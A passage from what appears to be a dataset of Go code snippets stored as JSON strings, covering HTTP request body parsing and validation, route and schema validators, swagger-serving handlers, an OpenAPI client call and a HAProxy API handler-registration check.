defined.\\n\\t\\tif inputBodyIndex != -1 {\\n\\t\\t\\tif op.BodyReadTimeout > 0 {\\n\\t\\t\\t\\tctx.SetReadDeadline(time.Now().Add(op.BodyReadTimeout))\\n\\t\\t\\t} else if op.BodyReadTimeout < 0 {\\n\\t\\t\\t\\t// Disable any server-wide deadline.\\n\\t\\t\\t\\tctx.SetReadDeadline(time.Time{})\\n\\t\\t\\t}\\n\\n\\t\\t\\tbuf := bufPool.Get().(*bytes.Buffer)\\n\\t\\t\\treader := ctx.BodyReader()\\n\\t\\t\\tif closer, ok := reader.(io.Closer); ok {\\n\\t\\t\\t\\tdefer closer.Close()\\n\\t\\t\\t}\\n\\t\\t\\tif op.MaxBodyBytes > 0 {\\n\\t\\t\\t\\treader = io.LimitReader(reader, op.MaxBodyBytes)\\n\\t\\t\\t}\\n\\t\\t\\tcount, err := io.Copy(buf, reader)\\n\\t\\t\\tif op.MaxBodyBytes > 0 {\\n\\t\\t\\t\\tif count == op.MaxBodyBytes {\\n\\t\\t\\t\\t\\tbuf.Reset()\\n\\t\\t\\t\\t\\tbufPool.Put(buf)\\n\\t\\t\\t\\t\\tWriteErr(api, ctx, http.StatusRequestEntityTooLarge, fmt.Sprintf(\\\"request body is too large limit=%d bytes\\\", op.MaxBodyBytes), res.Errors...)\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tbuf.Reset()\\n\\t\\t\\t\\tbufPool.Put(buf)\\n\\n\\t\\t\\t\\tif e, ok := err.(net.Error); ok && e.Timeout() {\\n\\t\\t\\t\\t\\tWriteErr(api, ctx, http.StatusRequestTimeout, \\\"request body read timeout\\\", res.Errors...)\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tWriteErr(api, ctx, http.StatusInternalServerError, \\\"cannot read request body\\\", err)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tbody := buf.Bytes()\\n\\n\\t\\t\\tif rawBodyIndex != -1 {\\n\\t\\t\\t\\tf := v.Field(rawBodyIndex)\\n\\t\\t\\t\\tf.SetBytes(body)\\n\\t\\t\\t}\\n\\n\\t\\t\\tif len(body) == 0 {\\n\\t\\t\\t\\tkind := v.Field(inputBodyIndex).Kind()\\n\\t\\t\\t\\tif kind != reflect.Ptr && kind != reflect.Interface {\\n\\t\\t\\t\\t\\tbuf.Reset()\\n\\t\\t\\t\\t\\tbufPool.Put(buf)\\n\\t\\t\\t\\t\\tWriteErr(api, ctx, http.StatusBadRequest, \\\"request body is required\\\", res.Errors...)\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tparseErrCount := 0\\n\\t\\t\\t\\tif !op.SkipValidateBody {\\n\\t\\t\\t\\t\\t// Validate the input. First, parse the body into []any or map[string]any\\n\\t\\t\\t\\t\\t// or equivalent, which can be easily validated. Then, convert to the\\n\\t\\t\\t\\t\\t// expected struct type to call the handler.\\n\\t\\t\\t\\t\\tvar parsed any\\n\\t\\t\\t\\t\\tif err := api.Unmarshal(ctx.Header(\\\"Content-Type\\\"), body, &parsed); err != nil {\\n\\t\\t\\t\\t\\t\\t// TODO: handle not acceptable\\n\\t\\t\\t\\t\\t\\terrStatus = http.StatusBadRequest\\n\\t\\t\\t\\t\\t\\tres.Errors = append(res.Errors, &ErrorDetail{\\n\\t\\t\\t\\t\\t\\t\\tLocation: \\\"body\\\",\\n\\t\\t\\t\\t\\t\\t\\tMessage: err.Error(),\\n\\t\\t\\t\\t\\t\\t\\tValue: body,\\n\\t\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t\\tparseErrCount++\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\tpb.Reset()\\n\\t\\t\\t\\t\\t\\tpb.Push(\\\"body\\\")\\n\\t\\t\\t\\t\\t\\tcount := len(res.Errors)\\n\\t\\t\\t\\t\\t\\tValidate(oapi.Components.Schemas, inSchema, pb, ModeWriteToServer, parsed, res)\\n\\t\\t\\t\\t\\t\\tparseErrCount = len(res.Errors) - count\\n\\t\\t\\t\\t\\t\\tif parseErrCount > 0 {\\n\\t\\t\\t\\t\\t\\t\\terrStatus = http.StatusUnprocessableEntity\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// We need to get the body into the correct type now that it has been\\n\\t\\t\\t\\t// validated. Benchmarks on Go 1.20 show that using `json.Unmarshal` a\\n\\t\\t\\t\\t// second time is faster than `mapstructure.Decode` or any of the other\\n\\t\\t\\t\\t// common reflection-based approaches when using real-world medium-sized\\n\\t\\t\\t\\t// JSON payloads with lots of strings.\\n\\t\\t\\t\\tf := v.Field(inputBodyIndex)\\n\\t\\t\\t\\tif err := api.Unmarshal(ctx.Header(\\\"Content-Type\\\"), body, f.Addr().Interface()); err != nil {\\n\\t\\t\\t\\t\\tif parseErrCount == 0 {\\n\\t\\t\\t\\t\\t\\t// Hmm, this should have worked... validator missed something?\\n\\t\\t\\t\\t\\t\\tres.Errors = append(res.Errors, &ErrorDetail{\\n\\t\\t\\t\\t\\t\\t\\tLocation: \\\"body\\\",\\n\\t\\t\\t\\t\\t\\t\\tMessage: err.Error(),\\n\\t\\t\\t\\t\\t\\t\\tValue: string(body),\\n\\t\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t// Set defaults for any fields that were not in the input.\\n\\t\\t\\t\\t\\tdefaults.Every(v, func(item reflect.Value, def any) {\\n\\t\\t\\t\\t\\t\\tif item.IsZero() {\\n\\t\\t\\t\\t\\t\\t\\titem.Set(reflect.Indirect(reflect.ValueOf(def)))\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tbuf.Reset()\\n\\t\\t\\t\\tbufPool.Put(buf)\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tresolvers.EveryPB(pb, v, func(item reflect.Value, _ bool) {\\n\\t\\t\\tif resolver, ok := item.Addr().Interface().(Resolver); ok {\\n\\t\\t\\t\\tif errs := resolver.Resolve(ctx); len(errs) > 0 {\\n\\t\\t\\t\\t\\tres.Errors = append(res.Errors, errs...)\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else if resolver, ok := item.Addr().Interface().(ResolverWithPath); ok {\\n\\t\\t\\t\\tif errs := resolver.Resolve(ctx, pb); len(errs) > 0 {\\n\\t\\t\\t\\t\\tres.Errors = append(res.Errors, errs...)\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tpanic(\\\"matched resolver cannot be run, please file a bug\\\")\\n\\t\\t\\t}\\n\\t\\t})\\n\\n\\t\\tif len(res.Errors) > 0 {\\n\\t\\t\\tWriteErr(api, ctx, errStatus, \\\"validation failed\\\", res.Errors...)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\toutput, err := handler(ctx.Context(), &input)\\n\\t\\tif err != nil {\\n\\t\\t\\tstatus := http.StatusInternalServerError\\n\\t\\t\\tif se, ok := err.(StatusError); ok {\\n\\t\\t\\t\\tstatus = se.GetStatus()\\n\\t\\t\\t} else {\\n\\t\\t\\t\\terr = NewError(http.StatusInternalServerError, err.Error())\\n\\t\\t\\t}\\n\\n\\t\\t\\tct, _ := api.Negotiate(ctx.Header(\\\"Accept\\\"))\\n\\t\\t\\tif ctf, ok := err.(ContentTypeFilter); ok {\\n\\t\\t\\t\\tct = ctf.ContentType(ct)\\n\\t\\t\\t}\\n\\n\\t\\t\\tctx.SetStatus(status)\\n\\t\\t\\tctx.SetHeader(\\\"Content-Type\\\", ct)\\n\\t\\t\\tapi.Marshal(ctx, strconv.Itoa(status), ct, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t// Serialize output headers\\n\\t\\tct := \\\"\\\"\\n\\t\\tvo := reflect.ValueOf(output).Elem()\\n\\t\\toutHeaders.Every(vo, func(f reflect.Value, info *headerInfo) {\\n\\t\\t\\tswitch f.Kind() {\\n\\t\\t\\tcase reflect.String:\\n\\t\\t\\t\\tctx.SetHeader(info.Name, f.String())\\n\\t\\t\\t\\tif info.Name == \\\"Content-Type\\\" {\\n\\t\\t\\t\\t\\tct = f.String()\\n\\t\\t\\t\\t}\\n\\t\\t\\tcase reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:\\n\\t\\t\\t\\tctx.SetHeader(info.Name, strconv.FormatInt(f.Int(), 10))\\n\\t\\t\\tcase reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64:\\n\\t\\t\\t\\tctx.SetHeader(info.Name, strconv.FormatUint(f.Uint(), 10))\\n\\t\\t\\tcase reflect.Float32, reflect.Float64:\\n\\t\\t\\t\\tctx.SetHeader(info.Name, strconv.FormatFloat(f.Float(), 'f', -1, 64))\\n\\t\\t\\tcase reflect.Bool:\\n\\t\\t\\t\\tctx.SetHeader(info.Name, strconv.FormatBool(f.Bool()))\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\tif f.Type() == timeType {\\n\\t\\t\\t\\t\\tctx.SetHeader(info.Name, f.Interface().(time.Time).Format(info.TimeFormat))\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tctx.SetHeader(info.Name, fmt.Sprintf(\\\"%v\\\", f.Interface()))\\n\\t\\t\\t}\\n\\t\\t})\\n\\n\\t\\tstatus := op.DefaultStatus\\n\\t\\tif outStatusIndex != -1 {\\n\\t\\t\\tstatus = int(vo.Field(outStatusIndex).Int())\\n\\t\\t}\\n\\n\\t\\tif outBodyIndex != -1 {\\n\\t\\t\\t// Serialize output body\\n\\t\\t\\tbody := vo.Field(outBodyIndex).Interface()\\n\\n\\t\\t\\tif outBodyFunc {\\n\\t\\t\\t\\tbody.(func(Context))(ctx)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\n\\t\\t\\tif b, ok := body.([]byte); ok {\\n\\t\\t\\t\\tctx.SetStatus(status)\\n\\t\\t\\t\\tctx.BodyWriter().Write(b)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Only write a content type if one wasn't already written by the\\n\\t\\t\\t// response headers handled above.\\n\\t\\t\\tif ct == \\\"\\\" {\\n\\t\\t\\t\\tct, err = api.Negotiate(ctx.Header(\\\"Accept\\\"))\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tWriteErr(api, ctx, http.StatusNotAcceptable, \\\"unable to marshal response\\\", err)\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif ctf, ok := body.(ContentTypeFilter); ok {\\n\\t\\t\\t\\t\\tct = ctf.ContentType(ct)\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tctx.SetHeader(\\\"Content-Type\\\", ct)\\n\\t\\t\\t}\\n\\n\\t\\t\\tctx.SetStatus(status)\\n\\t\\t\\tapi.Marshal(ctx, strconv.Itoa(op.DefaultStatus), ct, body)\\n\\t\\t} else {\\n\\t\\t\\tctx.SetStatus(status)\\n\\t\\t}\\n\\t})\\n}\",\n \"func (r RequestDrivenWebServiceHttpConfig) validate() error {\\n\\tif err := r.HealthCheckConfiguration.validate(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn r.Private.validate()\\n}\",\n \"func (s service) Validate(ctx context.Context, model documents.Model, old documents.Model) error {\\n\\treturn nil\\n}\",\n \"func (r *Routes) configureWellKnown(healthFunc func() bool) {\\n\\twellKnown := r.Group(\\\"/.well-known\\\")\\n\\t{\\n\\t\\twellKnown.GET(\\\"/schema-discovery\\\", func(ctx *gin.Context) {\\n\\t\\t\\tdiscovery := struct {\\n\\t\\t\\t\\tSchemaURL string `json:\\\"schema_url\\\"`\\n\\t\\t\\t\\tSchemaType string `json:\\\"schema_type\\\"`\\n\\t\\t\\t\\tUIURL string `json:\\\"ui_url\\\"`\\n\\t\\t\\t}{\\n\\t\\t\\t\\tSchemaURL: \\\"/swagger.json\\\",\\n\\t\\t\\t\\tSchemaType: \\\"swagger-2.0\\\",\\n\\t\\t\\t}\\n\\t\\t\\tctx.JSON(http.StatusOK, &discovery)\\n\\t\\t})\\n\\t\\twellKnown.GET(\\\"/health\\\", healthHandler(healthFunc))\\n\\t}\\n\\n\\tr.GET(\\\"/swagger.json\\\", func(ctx *gin.Context) {\\n\\t\\tctx.String(http.StatusOK, string(SwaggerJSON))\\n\\t})\\n}\",\n \"func (r *Routes) configureWellKnown(healthFunc func() bool) {\\n\\twellKnown := r.Group(\\\"/.well-known\\\")\\n\\t{\\n\\t\\twellKnown.GET(\\\"/schema-discovery\\\", func(ctx *gin.Context) {\\n\\t\\t\\tdiscovery := struct {\\n\\t\\t\\t\\tSchemaURL string `json:\\\"schema_url\\\"`\\n\\t\\t\\t\\tSchemaType string `json:\\\"schema_type\\\"`\\n\\t\\t\\t\\tUIURL string `json:\\\"ui_url\\\"`\\n\\t\\t\\t}{\\n\\t\\t\\t\\tSchemaURL: \\\"/swagger.json\\\",\\n\\t\\t\\t\\tSchemaType: \\\"swagger-2.0\\\",\\n\\t\\t\\t}\\n\\t\\t\\tctx.JSON(http.StatusOK, &discovery)\\n\\t\\t})\\n\\t\\twellKnown.GET(\\\"/health\\\", healthHandler(healthFunc))\\n\\t}\\n\\n\\tr.GET(\\\"/swagger.json\\\", func(ctx *gin.Context) {\\n\\t\\tctx.String(http.StatusOK, string(SwaggerJSON))\\n\\t})\\n}\",\n \"func (o *GetRelationTuplesNotFoundBody) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (o *GetGatewayUsingGETNotFoundBody) Validate(formats strfmt.Registry) error {\\n\\tvar res []error\\n\\n\\tif err := o.validateMessage(formats); err != nil {\\n\\t\\tres = append(res, err)\\n\\t}\\n\\n\\tif len(res) > 0 {\\n\\t\\treturn errors.CompositeValidationError(res...)\\n\\t}\\n\\treturn nil\\n}\",\n \"func Handler(configFns ...func(*Config)) http.HandlerFunc {\\n\\n\\tconfig := newConfig(configFns...)\\n\\n\\t// create a template with name\\n\\tindex, _ := template.New(\\\"swagger_index.html\\\").Parse(indexTempl)\\n\\n\\tre := regexp.MustCompile(`^(.*/)([^?].*)?[?|.]*$`)\\n\\n\\treturn func(w http.ResponseWriter, r *http.Request) {\\n\\t\\tif r.Method != http.MethodGet {\\n\\t\\t\\thttp.Error(w, \\\"Method not allowed\\\", http.StatusMethodNotAllowed)\\n\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tmatches := re.FindStringSubmatch(r.RequestURI)\\n\\n\\t\\tpath := matches[2]\\n\\n\\t\\tswitch filepath.Ext(path) {\\n\\t\\tcase \\\".html\\\":\\n\\t\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"text/html; charset=utf-8\\\")\\n\\n\\t\\tcase \\\".css\\\":\\n\\t\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"text/css; charset=utf-8\\\")\\n\\t\\tcase \\\".js\\\":\\n\\t\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/javascript\\\")\\n\\t\\tcase \\\".png\\\":\\n\\t\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"image/png\\\")\\n\\t\\tcase \\\".json\\\":\\n\\t\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json; charset=utf-8\\\")\\n\\t\\t}\\n\\n\\t\\tswitch path {\\n\\t\\tcase \\\"index.html\\\":\\n\\t\\t\\t_ = index.Execute(w, config)\\n\\t\\tcase \\\"doc.json\\\":\\n\\t\\t\\tdoc, err := swag.ReadDoc(config.InstanceName)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\\n\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\n\\t\\t\\t_, _ = w.Write([]byte(doc))\\n\\t\\tcase \\\"\\\":\\n\\t\\t\\thttp.Redirect(w, r, matches[1]+\\\"/\\\"+\\\"index.html\\\", http.StatusMovedPermanently)\\n\\t\\tdefault:\\n\\t\\t\\tr.URL.Path = matches[2]\\n\\t\\t\\thttp.FileServer(http.FS(swaggerFiles.FS)).ServeHTTP(w, r)\\n\\t\\t}\\n\\t}\\n}\",\n \"func (r *HelloReq) Validate() error {\\n\\treturn validate.Struct(r)\\n}\",\n \"func (o *JudgeNotFoundBody) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func (r *RouteSpecFields) Validate(ctx context.Context) (errs *apis.FieldError) {\\n\\n\\tif r.Domain == \\\"\\\" {\\n\\t\\terrs = errs.Also(apis.ErrMissingField(\\\"domain\\\"))\\n\\t}\\n\\n\\tif r.Hostname == \\\"www\\\" {\\n\\t\\terrs = errs.Also(apis.ErrInvalidValue(\\\"hostname\\\", r.Hostname))\\n\\t}\\n\\n\\tif _, err := BuildPathRegexp(r.Path); err != nil {\\n\\t\\terrs = errs.Also(apis.ErrInvalidValue(\\\"path\\\", r.Path))\\n\\t}\\n\\n\\treturn errs\\n}\",\n \"func (m *ArrayConnectionPathOAIGenAllOf1) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func Validate(schema *gojsonschema.Schema, document gojsonschema.JSONLoader) (*errors.Errs, error) {\\n\\tresult, err := schema.Validate(document)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif result.Valid() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\tvar errs errors.Errs\\n\\tfor _, resultErr := range result.Errors() {\\n\\t\\terrs = append(errs, resultErrorToError(resultErr))\\n\\t}\\n\\treturn &errs, nil\\n}\",\n \"func (a *NamespacesApiService) GetSchemaValidtionEnforced(ctx _context.Context, tenant string, namespace string) (bool, *_nethttp.Response, error) {\\n\\tvar (\\n\\t\\tlocalVarHTTPMethod = _nethttp.MethodGet\\n\\t\\tlocalVarPostBody interface{}\\n\\t\\tlocalVarFormFileName string\\n\\t\\tlocalVarFileName string\\n\\t\\tlocalVarFileBytes []byte\\n\\t\\tlocalVarReturnValue bool\\n\\t)\\n\\n\\t// create path and map variables\\n\\tlocalVarPath := a.client.cfg.BasePath + \\\"/namespaces/{tenant}/{namespace}/schemaValidationEnforced\\\"\\n\\tlocalVarPath = strings.Replace(localVarPath, \\\"{\\\"+\\\"tenant\\\"+\\\"}\\\", _neturl.QueryEscape(fmt.Sprintf(\\\"%v\\\", tenant)), -1)\\n\\tlocalVarPath = strings.Replace(localVarPath, \\\"{\\\"+\\\"namespace\\\"+\\\"}\\\", _neturl.QueryEscape(fmt.Sprintf(\\\"%v\\\", namespace)), -1)\\n\\n\\tlocalVarHeaderParams := make(map[string]string)\\n\\tlocalVarQueryParams := _neturl.Values{}\\n\\tlocalVarFormParams := _neturl.Values{}\\n\\n\\t// to determine the Content-Type header\\n\\tlocalVarHTTPContentTypes := []string{}\\n\\n\\t// set Content-Type header\\n\\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\\n\\tif localVarHTTPContentType != \\\"\\\" {\\n\\t\\tlocalVarHeaderParams[\\\"Content-Type\\\"] = localVarHTTPContentType\\n\\t}\\n\\n\\t// to determine the Accept header\\n\\tlocalVarHTTPHeaderAccepts := []string{\\\"application/json\\\"}\\n\\n\\t// set Accept header\\n\\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\\n\\tif localVarHTTPHeaderAccept != \\\"\\\" {\\n\\t\\tlocalVarHeaderParams[\\\"Accept\\\"] = localVarHTTPHeaderAccept\\n\\t}\\n\\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\\n\\tif err != nil {\\n\\t\\treturn localVarReturnValue, nil, err\\n\\t}\\n\\n\\tlocalVarHTTPResponse, err := a.client.callAPI(r)\\n\\tif err != nil || localVarHTTPResponse == nil {\\n\\t\\treturn localVarReturnValue, localVarHTTPResponse, err\\n\\t}\\n\\n\\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\\n\\tlocalVarHTTPResponse.Body.Close()\\n\\tif err != nil {\\n\\t\\treturn localVarReturnValue, localVarHTTPResponse, err\\n\\t}\\n\\n\\tif localVarHTTPResponse.StatusCode >= 300 {\\n\\t\\tnewErr := GenericOpenAPIError{\\n\\t\\t\\tbody: localVarBody,\\n\\t\\t\\terror: localVarHTTPResponse.Status,\\n\\t\\t}\\n\\t\\tif localVarHTTPResponse.StatusCode == 200 {\\n\\t\\t\\tvar v bool\\n\\t\\t\\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\\\"Content-Type\\\"))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tnewErr.error = err.Error()\\n\\t\\t\\t\\treturn localVarReturnValue, localVarHTTPResponse, newErr\\n\\t\\t\\t}\\n\\t\\t\\tnewErr.model = v\\n\\t\\t\\treturn localVarReturnValue, localVarHTTPResponse, newErr\\n\\t\\t}\\n\\t\\treturn localVarReturnValue, localVarHTTPResponse, newErr\\n\\t}\\n\\n\\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\\\"Content-Type\\\"))\\n\\tif err != nil {\\n\\t\\tnewErr := GenericOpenAPIError{\\n\\t\\t\\tbody: localVarBody,\\n\\t\\t\\terror: err.Error(),\\n\\t\\t}\\n\\t\\treturn localVarReturnValue, localVarHTTPResponse, newErr\\n\\t}\\n\\n\\treturn localVarReturnValue, localVarHTTPResponse, nil\\n}\",\n \"func (r *Route) Validate(ctx context.Context) (errs *apis.FieldError) {\\n\\t// If we're specifically updating status, don't reject the change because\\n\\t// of a spec issue.\\n\\tif apis.IsInStatusUpdate(ctx) {\\n\\t\\treturn\\n\\t}\\n\\n\\tif r.Name == \\\"\\\" {\\n\\t\\terrs = errs.Also(apis.ErrMissingField(\\\"name\\\"))\\n\\t}\\n\\n\\terrs = errs.Also(r.Spec.Validate(apis.WithinSpec(ctx)).ViaField(\\\"spec\\\"))\\n\\n\\t// If we have errors, bail. No need to do the network call.\\n\\tif errs.Error() != \\\"\\\" {\\n\\t\\treturn errs\\n\\t}\\n\\n\\treturn checkVirtualServiceCollision(ctx, r.Spec.Hostname, r.Spec.Domain, r.GetNamespace(), errs)\\n}\",\n \"func (o *DataPlaneAPI) Validate() error {\\n\\tvar unregistered []string\\n\\n\\tif o.JSONConsumer == nil {\\n\\t\\tunregistered = append(unregistered, \\\"JSONConsumer\\\")\\n\\t}\\n\\n\\tif o.TxtConsumer == nil {\\n\\t\\tunregistered = append(unregistered, \\\"TxtConsumer\\\")\\n\\t}\\n\\n\\tif o.JSONProducer == nil {\\n\\t\\tunregistered = append(unregistered, \\\"JSONProducer\\\")\\n\\t}\\n\\n\\tif o.TxtProducer == nil {\\n\\t\\tunregistered = append(unregistered, \\\"TxtProducer\\\")\\n\\t}\\n\\n\\tif o.BasicAuthAuth == nil {\\n\\t\\tunregistered = append(unregistered, \\\"BasicAuthAuth\\\")\\n\\t}\\n\\n\\tif o.TransactionsCommitTransactionHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"transactions.CommitTransactionHandler\\\")\\n\\t}\\n\\n\\tif o.ACLCreateACLHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"acl.CreateACLHandler\\\")\\n\\t}\\n\\n\\tif o.BackendCreateBackendHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"backend.CreateBackendHandler\\\")\\n\\t}\\n\\n\\tif o.BackendSwitchingRuleCreateBackendSwitchingRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"backend_switching_rule.CreateBackendSwitchingRuleHandler\\\")\\n\\t}\\n\\n\\tif o.BindCreateBindHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"bind.CreateBindHandler\\\")\\n\\t}\\n\\n\\tif o.FilterCreateFilterHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"filter.CreateFilterHandler\\\")\\n\\t}\\n\\n\\tif o.FrontendCreateFrontendHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"frontend.CreateFrontendHandler\\\")\\n\\t}\\n\\n\\tif o.HTTPRequestRuleCreateHTTPRequestRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"http_request_rule.CreateHTTPRequestRuleHandler\\\")\\n\\t}\\n\\n\\tif o.HTTPResponseRuleCreateHTTPResponseRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"http_response_rule.CreateHTTPResponseRuleHandler\\\")\\n\\t}\\n\\n\\tif o.LogTargetCreateLogTargetHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"log_target.CreateLogTargetHandler\\\")\\n\\t}\\n\\n\\tif o.ServerCreateServerHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"server.CreateServerHandler\\\")\\n\\t}\\n\\n\\tif o.ServerSwitchingRuleCreateServerSwitchingRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"server_switching_rule.CreateServerSwitchingRuleHandler\\\")\\n\\t}\\n\\n\\tif o.SitesCreateSiteHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"sites.CreateSiteHandler\\\")\\n\\t}\\n\\n\\tif o.StickRuleCreateStickRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"stick_rule.CreateStickRuleHandler\\\")\\n\\t}\\n\\n\\tif o.TCPRequestRuleCreateTCPRequestRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"tcp_request_rule.CreateTCPRequestRuleHandler\\\")\\n\\t}\\n\\n\\tif o.TCPResponseRuleCreateTCPResponseRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"tcp_response_rule.CreateTCPResponseRuleHandler\\\")\\n\\t}\\n\\n\\tif o.ACLDeleteACLHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"acl.DeleteACLHandler\\\")\\n\\t}\\n\\n\\tif o.BackendDeleteBackendHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"backend.DeleteBackendHandler\\\")\\n\\t}\\n\\n\\tif o.BackendSwitchingRuleDeleteBackendSwitchingRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"backend_switching_rule.DeleteBackendSwitchingRuleHandler\\\")\\n\\t}\\n\\n\\tif o.BindDeleteBindHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"bind.DeleteBindHandler\\\")\\n\\t}\\n\\n\\tif o.FilterDeleteFilterHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"filter.DeleteFilterHandler\\\")\\n\\t}\\n\\n\\tif o.FrontendDeleteFrontendHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"frontend.DeleteFrontendHandler\\\")\\n\\t}\\n\\n\\tif o.HTTPRequestRuleDeleteHTTPRequestRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"http_request_rule.DeleteHTTPRequestRuleHandler\\\")\\n\\t}\\n\\n\\tif o.HTTPResponseRuleDeleteHTTPResponseRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"http_response_rule.DeleteHTTPResponseRuleHandler\\\")\\n\\t}\\n\\n\\tif o.LogTargetDeleteLogTargetHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"log_target.DeleteLogTargetHandler\\\")\\n\\t}\\n\\n\\tif o.ServerDeleteServerHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"server.DeleteServerHandler\\\")\\n\\t}\\n\\n\\tif o.ServerSwitchingRuleDeleteServerSwitchingRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"server_switching_rule.DeleteServerSwitchingRuleHandler\\\")\\n\\t}\\n\\n\\tif o.SitesDeleteSiteHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"sites.DeleteSiteHandler\\\")\\n\\t}\\n\\n\\tif o.StickRuleDeleteStickRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"stick_rule.DeleteStickRuleHandler\\\")\\n\\t}\\n\\n\\tif o.TCPRequestRuleDeleteTCPRequestRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"tcp_request_rule.DeleteTCPRequestRuleHandler\\\")\\n\\t}\\n\\n\\tif o.TCPResponseRuleDeleteTCPResponseRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"tcp_response_rule.DeleteTCPResponseRuleHandler\\\")\\n\\t}\\n\\n\\tif o.TransactionsDeleteTransactionHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"transactions.DeleteTransactionHandler\\\")\\n\\t}\\n\\n\\tif o.DiscoveryGetAPIEndpointsHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"discovery.GetAPIEndpointsHandler\\\")\\n\\t}\\n\\n\\tif o.ACLGetACLHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"acl.GetACLHandler\\\")\\n\\t}\\n\\n\\tif o.ACLGetAclsHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"acl.GetAclsHandler\\\")\\n\\t}\\n\\n\\tif o.BackendGetBackendHandler == nil {\\n\\t\\tunregistered = append(unregistered, \\\"backend.GetBackendHandler\\\")\\n\\t}\\n\\n\\tif o.BackendSwitchingRuleGetBackendSwitchingRuleHandler == nil {\\n\\t\\tunregistered = append(unregistered, 